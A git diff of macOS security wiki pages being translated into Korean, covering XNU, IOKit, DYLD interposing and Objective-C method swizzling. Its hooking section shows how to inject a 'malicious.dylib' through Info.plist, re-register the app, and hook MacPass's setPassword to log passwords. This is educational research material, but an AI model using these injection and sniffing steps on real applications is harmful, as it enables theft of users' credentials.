Understanding the interaction between BSD and Mach can be complex, due to their different conceptual frameworks. For instance, BSD uses processes as its fundamental executing unit, while Mach operates based on threads. This discrepancy is reconciled in XNU by **associating each BSD process with a Mach task** that contains exactly one Mach thread. When BSD's fork() system call is used, the BSD code within the kernel uses Mach functions to create a task and a thread structure.
BSD와 Mach 간의 상호작용을 이해하는 것은 그들의 서로 다른 개념적 프레임워크 때문에 복잡할 수 있습니다. 예를 들어, BSD는 프로세스를 기본 실행 단위로 사용하지만, Mach은 스레드를 기반으로 작동합니다. 이 불일치는 XNU에서 **각 BSD 프로세스를 하나의 Mach 스레드를 포함하는 Mach 작업과 연결하여 조정됩니다**. BSD의 fork() 시스템 호출이 사용될 때, 커널 내의 BSD 코드는 Mach 함수를 사용하여 작업 및 스레드 구조를 생성합니다.
Moreover, **Mach and BSD each maintain different security models**: **Mach's** security model is based on **port rights**, whereas BSD's security model operates based on **process ownership**. Disparities between these two models have occasionally resulted in local privilege-escalation vulnerabilities. Apart from typical system calls, there are also **Mach traps that allow user-space programs to interact with the kernel**. These different elements together form the multifaceted, hybrid architecture of the macOS kernel.
게다가, **Mach과 BSD는 각각 다른 보안 모델을 유지합니다**: **Mach의** 보안 모델은 **포트 권한**에 기반하고, BSD의 보안 모델은 **프로세스 소유권**에 기반합니다. 이 두 모델 간의 차이로 인해 때때로 로컬 권한 상승 취약점이 발생했습니다. 일반적인 시스템 호출 외에도 **사용자 공간 프로그램이 커널과 상호작용할 수 있도록 하는 Mach 트랩**도 있습니다. 이러한 다양한 요소들이 함께 macOS 커널의 다면적이고 하이브리드 아키텍처를 형성합니다.
### I/O Kit - Drivers
### I/O Kit - 드라이버
The I/O Kit is an open-source, object-oriented **device-driver framework** in the XNU kernel, handles **dynamically loaded device drivers**. It allows modular code to be added to the kernel on-the-fly, supporting diverse hardware.
I/O Kit은 XNU 커널 내의 오픈 소스 객체 지향 **장치 드라이버 프레임워크**로, **동적으로 로드된 장치 드라이버**를 처리합니다. 이는 다양한 하드웨어를 지원하며 커널에 모듈식 코드를 즉시 추가할 수 있게 해줍니다.
{{#ref}}
macos-iokit.md
{{#endref}}
### IPC - Inter Process Communication
### IPC - 프로세스 간 통신
{{#ref}}
../macos-proces-abuse/macos-ipc-inter-process-communication/
{{#endref}}
## macOS Kernel Extensions
## macOS 커널 확장
macOS is **super restrictive to load Kernel Extensions** (.kext) because of the high privileges that code will run with. Actually, by default is virtually impossible (unless a bypass is found).
macOS**커널 확장**(.kext)을 로드하는 데 매우 제한적입니다. 이는 코드가 높은 권한으로 실행되기 때문입니다. 실제로 기본적으로 우회 방법이 발견되지 않는 한 사실상 불가능합니다.
In the following page you can also see how to recover the `.kext` that macOS loads inside its **kernelcache**:
다음 페이지에서는 macOS가 **kernelcache** 내에서 로드하는 `.kext`를 복구하는 방법도 볼 수 있습니다:
{{#ref}}
macos-kernel-extensions.md
{{#endref}}
### macOS System Extensions
### macOS 시스템 확장
Instead of using Kernel Extensions macOS created the System Extensions, which offers in user level APIs to interact with the kernel. This way, developers can avoid to use kernel extensions.
커널 확장을 사용하는 대신 macOS는 시스템 확장을 생성하여 커널과 상호작용할 수 있는 사용자 수준 API를 제공합니다. 이렇게 하면 개발자는 커널 확장을 사용할 필요가 없습니다.
{{#ref}}
macos-system-extensions.md
{{#endref}}
## References
## 참고 문헌
- [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt_other?_encoding=UTF8&me=&qid=)
- [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)

View File

@ -4,52 +4,47 @@
## Function Interposing
Create a **dylib** with an **`__interpose`** section (or a section flagged with **`S_INTERPOSING`**) containing tuples of **function pointers** that refer to the **original** and the **replacement** functions.
**`__interpose`** 섹션(또는 **`S_INTERPOSING`** 플래그가 있는 섹션)을 포함하는 **dylib**를 생성하여 **원본****대체** 함수에 대한 **함수 포인터**의 튜플을 포함합니다.
Then, **inject** the dylib with **`DYLD_INSERT_LIBRARIES`** (the interposing needs occur before the main app loads). Obviously the [**restrictions** applied to the use of **`DYLD_INSERT_LIBRARIES`** applies here also](../macos-proces-abuse/macos-library-injection/#check-restrictions).&#x20;
그런 다음 **`DYLD_INSERT_LIBRARIES`**로 dylib를 **주입**합니다(인터포징은 메인 앱이 로드되기 전에 발생해야 합니다). 명백히 [**`DYLD_INSERT_LIBRARIES`** 사용에 적용되는 **제한**이 여기에도 적용됩니다](../macos-proces-abuse/macos-library-injection/#check-restrictions).&#x20;
### Interpose printf
{{#tabs}}
{{#tab name="interpose.c"}}
```c:interpose.c
// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
#include <stdarg.h>
int my_printf(const char *format, ...) {
//va_list args;
//va_start(args, format);
//int ret = vprintf(format, args);
//va_end(args);
//va_list args;
//va_start(args, format);
//int ret = vprintf(format, args);
//va_end(args);
int ret = printf("Hello from interpose\n");
return ret;
int ret = printf("Hello from interpose\n");
return ret;
}
__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };
```
{{#endtab}}
{{#tab name="hello.c"}}
```c
//gcc hello.c -o hello
#include <stdio.h>
int main() {
printf("Hello World!\n");
return 0;
printf("Hello World!\n");
return 0;
}
```
{{#endtab}}
{{#tab name="interpose2.c"}}
```c
// Just another way to define an interpose
// gcc -dynamiclib interpose2.c -o interpose2.dylib
@ -57,26 +52,24 @@ int main() {
#include <stdio.h>
#define DYLD_INTERPOSE(_replacement, _replacee) \
__attribute__((used)) static struct { \
const void* replacement; \
const void* replacee; \
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
(const void*) (unsigned long) &_replacement, \
(const void*) (unsigned long) &_replacee \
};
__attribute__((used)) static struct { \
const void* replacement; \
const void* replacee; \
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
(const void*) (unsigned long) &_replacement, \
(const void*) (unsigned long) &_replacee \
};
int my_printf(const char *format, ...)
{
int ret = printf("Hello from interpose\n");
return ret;
int ret = printf("Hello from interpose\n");
return ret;
}
DYLD_INTERPOSE(my_printf,printf);
```
{{#endtab}}
{{#endtabs}}
```bash
DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
Hello from interpose
@ -84,24 +77,22 @@ Hello from interpose
DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
Hello from interpose
```
## Method Swizzling
In ObjectiveC this is how a method is called like: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
It's needed the **object**, the **method** and the **params**. And when a method is called a **msg is sent** using the function **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
필요한 것은 **객체**, **메서드****매개변수**입니다. 메서드가 호출될 때 **msg가 전송**되며, 함수 **`objc_msgSend`**를 사용합니다: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
The object is **`someObject`**, the method is **`@selector(method1p1:p2:)`** and the arguments are **value1**, **value2**.
객체는 **`someObject`**, 메서드는 **`@selector(method1p1:p2:)`**이며, 인수는 **value1**, **value2**입니다.
Following the object structures, it's possible to reach an **array of methods** where the **names** and **pointers** to the method code are **located**.
객체 구조를 따라 **메서드 배열**에 접근할 수 있으며, 여기에는 **이름**과 **메서드 코드에 대한 포인터**가 **위치**합니다.
> [!CAUTION]
> Note that because methods and classes are accessed based on their names, this information is store in the binary, so it's possible to retrieve it with `otool -ov </path/bin>` or [`class-dump </path/bin>`](https://github.com/nygard/class-dump)
> 메서드와 클래스가 이름을 기반으로 접근되기 때문에 이 정보는 바이너리에 저장됩니다. 따라서 `otool -ov </path/bin>` 또는 [`class-dump </path/bin>`](https://github.com/nygard/class-dump)로 검색할 수 있습니다.
### Accessing the raw methods
It's possible to access the information of the methods such as name, number of params or address like in the following example:
메서드의 이름, 매개변수 수 또는 주소와 같은 정보를 다음 예제와 같이 접근할 수 있습니다:
```objectivec
// gcc -framework Foundation test.m -o test
@ -110,71 +101,69 @@ It's possible to access the information of the methods such as name, number of p
#import <objc/message.h>
int main() {
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));
// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));
// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));
// Get information about a method
SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));
// Get information about a method
SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));
// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);
// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);
NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);
NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);
for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}
for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}
// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}
// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}
// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}
// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}
// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);
// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);
// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);
// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);
return 0;
return 0;
}
```
### Method Swizzling with method_exchangeImplementations
The function **`method_exchangeImplementations`** allows to **change** the **address** of the **implementation** of **one function for the other**.
함수 **`method_exchangeImplementations`**는 **하나의 함수의 구현 주소를 다른 함수로 변경**할 수 있게 해줍니다.
> [!CAUTION]
> So when a function is called what is **executed is the other one**.
> 따라서 함수가 호출될 때 **실행되는 것은 다른 함수**입니다.
```objectivec
//gcc -framework Foundation swizzle_str.m -o swizzle_str
@ -192,44 +181,42 @@ The function **`method_exchangeImplementations`** allows to **change** the **add
@implementation NSString (SwizzleString)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original method
return [self swizzledSubstringFromIndex:from];
// Call the original method
return [self swizzledSubstringFromIndex:from];
}
@end
int main(int argc, const char * argv[]) {
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);
// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled
// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
return 0;
return 0;
}
```
> [!WARNING]
> In this case if the **implementation code of the legit** method **verifies** the **method** **name** it could **detect** this swizzling and prevent it from running.
> 이 경우 **정상** 메서드의 **구현 코드**가 **메서드** **이름**을 **검증**하면 이 스위즐링을 **감지**하고 실행을 방지할 수 있습니다.
>
> The following technique doesn't have this restriction.
> 다음 기술은 이러한 제한이 없습니다.
### Method Swizzling with method_setImplementation
### method_setImplementation을 이용한 메서드 스위즐링
The previous format is weird because you are changing the implementation of 2 methods one from the other. Using the function **`method_setImplementation`** you can **change** the **implementation** of a **method for the other one**.
Just remember to **store the address of the implementation of the original one** if you are going to to call it from the new implementation before overwriting it because later it will be much complicated to locate that address.
이전 형식은 서로 다른 두 메서드의 구현을 변경하기 때문에 이상합니다. **`method_setImplementation`** 함수를 사용하면 **다른 메서드의 구현**을 **변경**할 수 있습니다.
새로운 구현에서 호출하기 전에 **원래 구현의 주소를 저장**하는 것을 잊지 마세요. 그렇지 않으면 나중에 그 주소를 찾기가 훨씬 복잡해질 것입니다.
```objectivec
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
@ -246,75 +233,69 @@ static IMP original_substringFromIndex = NULL;
@implementation NSString (Swizzlestring)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
// Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
}
@end
int main(int argc, const char * argv[]) {
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];
// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));
// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));
// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));
// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));
// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);
// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);
// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);
return 0;
}
return 0;
}
}
```
## 후킹 공격 방법론
## Hooking Attack Methodology
이 페이지에서는 함수를 후킹하는 다양한 방법에 대해 논의했습니다. 그러나 이들은 **공격을 위해 프로세스 내에서 코드를 실행하는 것**을 포함했습니다.
In this page different ways to hook functions were discussed. However, they involved **running code inside the process to attack**.
이를 위해 가장 쉬운 기술은 [환경 변수를 통한 Dyld 주입 또는 하이재킹](../macos-dyld-hijacking-and-dyld_insert_libraries.md)을 사용하는 것입니다. 그러나 이것은 [Dylib 프로세스 주입](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port)을 통해서도 수행될 수 있다고 생각합니다.
In order to do that the easiest technique to use is to inject a [Dyld via environment variables or hijacking](../macos-dyld-hijacking-and-dyld_insert_libraries.md). However, I guess this could also be done via [Dylib process injection](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port).
그러나 두 옵션 모두 **보호되지 않은** 바이너리/프로세스에 **제한적**입니다. 각 기술을 확인하여 제한 사항에 대해 더 알아보세요.
However, both options are **limited** to **unprotected** binaries/processes. Check each technique to learn more about the limitations.
However, a function hooking attack is very specific, an attacker will do this to **steal sensitive information from inside a process** (if not you would just do a process injection attack). And this sensitive information might be located in user downloaded Apps such as MacPass.
So the attacker vector would be to either find a vulnerability or strip the signature of the application, inject the **`DYLD_INSERT_LIBRARIES`** env variable through the Info.plist of the application adding something like:
그러나 함수 후킹 공격은 매우 구체적이며, 공격자는 **프로세스 내부에서 민감한 정보를 훔치기 위해** 이를 수행합니다(그렇지 않으면 프로세스 주입 공격을 수행할 것입니다). 이 민감한 정보는 MacPass와 같은 사용자 다운로드 앱에 위치할 수 있습니다.
따라서 공격자 벡터는 취약점을 찾거나 애플리케이션의 서명을 제거하고, 애플리케이션의 Info.plist를 통해 **`DYLD_INSERT_LIBRARIES`** 환경 변수를 주입하여 다음과 같은 내용을 추가하는 것입니다:
```xml
<key>LSEnvironment</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Application.app/Contents/malicious.dylib</string>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Application.app/Contents/malicious.dylib</string>
</dict>
```
and then **re-register** the application:
그리고 **재등록** 애플리케이션:
```bash
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app
```
Add in that library the hooking code to exfiltrate the information: Passwords, messages...
해당 라이브러리에 정보를 유출하는 후킹 코드를 추가하세요: 비밀번호, 메시지...
> [!CAUTION]
> Note that in newer versions of macOS if you **strip the signature** of the application binary and it was previously executed, macOS **won't be executing the application** anymore.
#### Library example
> 최신 버전의 macOS에서는 애플리케이션 바이너리의 **서명을 제거**하고 이전에 실행된 경우, macOS는 **더 이상 애플리케이션을 실행하지 않습니다**.
#### 라이브러리 예제
```objectivec
// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib
@ -331,26 +312,25 @@ static IMP real_setPassword = NULL;
static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
{
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);
// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL);
// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL);
}
// Library constructor to execute
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));
// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
}
```
## References
- [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/)

View File

@ -2,18 +2,17 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## 기본 정보
The I/O Kit is an open-source, object-oriented **device-driver framework** in the XNU kernel, handles **dynamically loaded device drivers**. It allows modular code to be added to the kernel on-the-fly, supporting diverse hardware.
I/O Kit은 XNU 커널에서 **동적 로드된 장치 드라이버**를 처리하는 오픈 소스 객체 지향 **장치 드라이버 프레임워크**입니다. 이는 다양한 하드웨어를 지원하며, 커널에 모듈식 코드를 즉시 추가할 수 있게 해줍니다.
IOKit drivers will basically **export functions from the kernel**. These function parameter **types** are **predefined** and are verified. Moreover, similar to XPC, IOKit is just another layer on **top of Mach messages**.
IOKit 드라이버는 기본적으로 **커널에서 함수를 내보냅니다**. 이 함수 매개변수 **유형**은 **미리 정의되어** 있으며 검증됩니다. 또한, XPC와 유사하게, IOKit은 **Mach 메시지** 위에 또 다른 레이어입니다.
**IOKit XNU kernel code** is opensourced by Apple in [https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit). Moreover, the user space IOKit components are also opensource [https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser).
**IOKit XNU 커널 코드**는 Apple에 의해 [https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit)에서 오픈 소스로 제공됩니다. 또한, 사용자 공간 IOKit 구성 요소도 오픈 소스입니다 [https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser).
However, **no IOKit drivers** are opensource. Anyway, from time to time a release of a driver might come with symbols that makes it easier to debug it. Check how to [**get the driver extensions from the firmware here**](./#ipsw)**.**
It's written in **C++**. You can get demangled C++ symbols with:
그러나 **IOKit 드라이버**는 오픈 소스가 아닙니다. 어쨌든, 때때로 드라이버의 릴리스가 디버깅을 쉽게 해주는 기호와 함께 제공될 수 있습니다. [**펌웨어에서 드라이버 확장을 가져오는 방법을 확인하세요**](./#ipsw)**.**
C++로 작성되었습니다. 다음을 사용하여 디망글된 C++ 기호를 얻을 수 있습니다:
```bash
# Get demangled symbols
nm -C com.apple.driver.AppleJPEGDriver
@ -23,210 +22,193 @@ c++filt
__ZN16IOUserClient202222dispatchExternalMethodEjP31IOExternalMethodArgumentsOpaquePK28IOExternalMethodDispatch2022mP8OSObjectPv
IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*)
```
> [!CAUTION]
> IOKit **exposed functions** could perform **additional security checks** when a client tries to call a function but note that the apps are usually **limited** by the **sandbox** to which IOKit functions they can interact with.
> IOKit **노출된 함수**는 클라이언트가 함수를 호출하려고 할 때 **추가 보안 검사를** 수행할 수 있지만, 앱은 일반적으로 IOKit 함수와 상호작용할 수 있는 **샌드박스**에 의해 **제한**됩니다.
## Drivers
## 드라이버
In macOS they are located in:
macOS에서는 다음 위치에 있습니다:
- **`/System/Library/Extensions`**
- KEXT files built into the OS X operating system.
- OS X 운영 체제에 내장된 KEXT 파일.
- **`/Library/Extensions`**
- KEXT files installed by 3rd party software
- 3rd 파티 소프트웨어에 의해 설치된 KEXT 파일
In iOS they are located in:
iOS에서는 다음 위치에 있습니다:
- **`/System/Library/Extensions`**
```bash
#Use kextstat to print the loaded drivers
kextstat
Executing: /usr/bin/kmutil showloaded
No variant specified, falling back to release
Index Refs Address Size Wired Name (Version) UUID <Linked Against>
1 142 0 0 0 com.apple.kpi.bsd (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
2 11 0 0 0 com.apple.kpi.dsep (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
3 170 0 0 0 com.apple.kpi.iokit (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
4 0 0 0 0 com.apple.kpi.kasan (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
5 175 0 0 0 com.apple.kpi.libkern (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
6 154 0 0 0 com.apple.kpi.mach (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
7 88 0 0 0 com.apple.kpi.private (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
8 106 0 0 0 com.apple.kpi.unsupported (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
9 2 0xffffff8003317000 0xe000 0xe000 com.apple.kec.Libm (1) 6C1342CC-1D74-3D0F-BC43-97D5AD38200A <5>
10 12 0xffffff8003544000 0x92000 0x92000 com.apple.kec.corecrypto (11.1) F5F1255F-6552-3CF4-A9DB-D60EFDEB4A9A <8 7 6 5 3 1>
1 142 0 0 0 com.apple.kpi.bsd (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
2 11 0 0 0 com.apple.kpi.dsep (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
3 170 0 0 0 com.apple.kpi.iokit (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
4 0 0 0 0 com.apple.kpi.kasan (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
5 175 0 0 0 com.apple.kpi.libkern (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
6 154 0 0 0 com.apple.kpi.mach (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
7 88 0 0 0 com.apple.kpi.private (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
8 106 0 0 0 com.apple.kpi.unsupported (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
9 2 0xffffff8003317000 0xe000 0xe000 com.apple.kec.Libm (1) 6C1342CC-1D74-3D0F-BC43-97D5AD38200A <5>
10 12 0xffffff8003544000 0x92000 0x92000 com.apple.kec.corecrypto (11.1) F5F1255F-6552-3CF4-A9DB-D60EFDEB4A9A <8 7 6 5 3 1>
```
9까지 나열된 드라이버는 **주소 0에 로드됩니다**. 이는 이들이 실제 드라이버가 아니라 **커널의 일부이며 언로드할 수 없음을 의미합니다**.
Until the number 9 the listed drivers are **loaded in the address 0**. This means that those aren't real drivers but **part of the kernel and they cannot be unloaded**.
In order to find specific extensions you can use:
특정 확장을 찾기 위해 다음을 사용할 수 있습니다:
```bash
kextfind -bundle-id com.apple.iokit.IOReportFamily #Search by full bundle-id
kextfind -bundle-id -substring IOR #Search by substring in bundle-id
```
To load and unload kernel extensions do:
커널 확장을 로드하고 언로드하려면 다음을 수행하십시오:
```bash
kextload com.apple.iokit.IOReportFamily
kextunload com.apple.iokit.IOReportFamily
```
## IORegistry
The **IORegistry** is a crucial part of the IOKit framework in macOS and iOS which serves as a database for representing the system's hardware configuration and state. It's a **hierarchical collection of objects that represent all the hardware and drivers** loaded on the system, and their relationships to each other.
You can get the IORegistry using the cli **`ioreg`** to inspect it from the console (specially useful for iOS).
**IORegistry**는 macOS 및 iOS의 IOKit 프레임워크에서 시스템의 하드웨어 구성 및 상태를 나타내는 데이터베이스 역할을 하는 중요한 부분입니다. **시스템에 로드된 모든 하드웨어 및 드라이버를 나타내는 객체의 계층적 컬렉션**이며, 이들 간의 관계를 나타냅니다.
콘솔에서 IORegistry를 검사하기 위해 cli **`ioreg`**를 사용하여 얻을 수 있습니다(특히 iOS에 유용합니다).
```bash
ioreg -l #List all
ioreg -w 0 #Not cut lines
ioreg -p <plane> #Check other plane
```
You could download **`IORegistryExplorer`** from **Xcode Additional Tools** from [**https://developer.apple.com/download/all/**](https://developer.apple.com/download/all/) and inspect the **macOS IORegistry** through a **graphical** interface.
**`IORegistryExplorer`**는 [**https://developer.apple.com/download/all/**](https://developer.apple.com/download/all/)의 **Xcode Additional Tools**에서 다운로드할 수 있으며, **그래픽** 인터페이스를 통해 **macOS IORegistry**를 검사할 수 있습니다.
<figure><img src="../../../images/image (1167).png" alt="" width="563"><figcaption></figcaption></figure>
In IORegistryExplorer, "planes" are used to organize and display the relationships between different objects in the IORegistry. Each plane represents a specific type of relationship or a particular view of the system's hardware and driver configuration. Here are some of the common planes you might encounter in IORegistryExplorer:
IORegistryExplorer에서 "planes"는 IORegistry의 다양한 객체 간의 관계를 조직하고 표시하는 데 사용됩니다. 각 plane은 특정 유형의 관계 또는 시스템의 하드웨어 및 드라이버 구성에 대한 특정 뷰를 나타냅니다. IORegistryExplorer에서 마주칠 수 있는 일반적인 planes는 다음과 같습니다:
